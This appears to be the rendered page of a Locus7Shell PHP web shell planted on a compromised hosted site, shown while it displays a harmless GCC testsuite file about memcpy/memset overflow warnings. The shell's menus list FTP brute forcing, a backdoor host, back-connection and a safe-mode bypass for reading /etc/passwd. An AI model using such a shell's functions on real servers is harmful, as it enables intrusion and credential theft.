Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wstringop-overflow-38.c (2.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Verify that non-constant offsets don't suppress warnings in cases
   when the size of the access alone makes it invalid, regardless of
   the offset value.
   Also verify that writing into unknown objects through pointers
   (or pointer members) doesn't trigger warnings.
   { dg-do compile }
   { dg-options "-O1 -Wall -Wno-array-bounds" } */

typedef __SIZE_TYPE__ size_t;

extern void* memcpy (void*, const void*, size_t);
extern void* memset (void*, int, size_t);


struct Xp { char *p; } xp;
struct Xa { char *a[2]; } xa;

void nowarn_copy_read_pointed_obj_plus_cst (void *d)
{
  int i = 0;
  memcpy (d, xp.p + i, 9);
  memcpy (d, xa.a[i], 9);
}

void nowarn_copy_read_pointed_obj_plus_var (void *d, int i)
{
  memcpy (d, xp.p + i, 9);
  memcpy (d, xa.a[i], 9);
}


void warn_copy_read_pointer_plus_cst (void *d)
{
  int i = 0;
  memcpy (d, &xp.p + i, 9);   // { dg-warning "reading 9 bytes from a region of size . " }
}

void warn_copy_read_pointer_plus_var (void *d, int i)
{
  memcpy (d, &xp.p + i, 9);   // { dg-warning "reading 9 bytes from a region of size . " }
}


void nowarn_copy_write_pointed_obj_plus_cst (const void *s)
{
  int i = 0;
  memcpy (xp.p + i, s, 9);
  memcpy (xa.a[i], s, 9);
}

void nowarn_copy_write_pointed_obj_plus_var (const void *s, int i)
{
  memcpy (xp.p + i, s, 9);
  memcpy (xa.a[i], s, 9);
}


void warn_copy_write_pointer_plus_cst (const void *s)
{
  int i = 0;
  memcpy (&xp.p + i, s, 9);   // { dg-warning "writing 9 bytes into a region of size . " }
}

void warn_copy_write_pointer_plus_var (const void *s, int i)
{
  memcpy (&xp.p + i, s, 9);   // { dg-warning "writing 9 bytes into a region of size . " }
}


void nowarn_set_pointed_obj_plus_cst (void)
{
  int i = 0;
  memset (xp.p + i, 0, 9);
  memset (xa.a[i], 0, 9);
}

void nowarn_set_pointed_obj_plus_var (int i)
{
  memset (xp.p + i, 0, 9);
  memset (xa.a[i], 0, 9);
}


void warn_set_pointer_plus_cst (void)
{
  int i = 0;
  memset (&xp.p + i, 0, 9);   // { dg-warning "writing 9 bytes into a region of size . " }
}

void warn_set_pointer_plus_var (int i)
{
  memset (&xp.p + i, 0, 9);   // { dg-warning "writing 9 bytes into a region of size . " }
  memset (&xa.a[i], 0, 17);   // { dg-warning "writing 17 bytes into a region of size \[0-9\]+ " }
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0062 ]--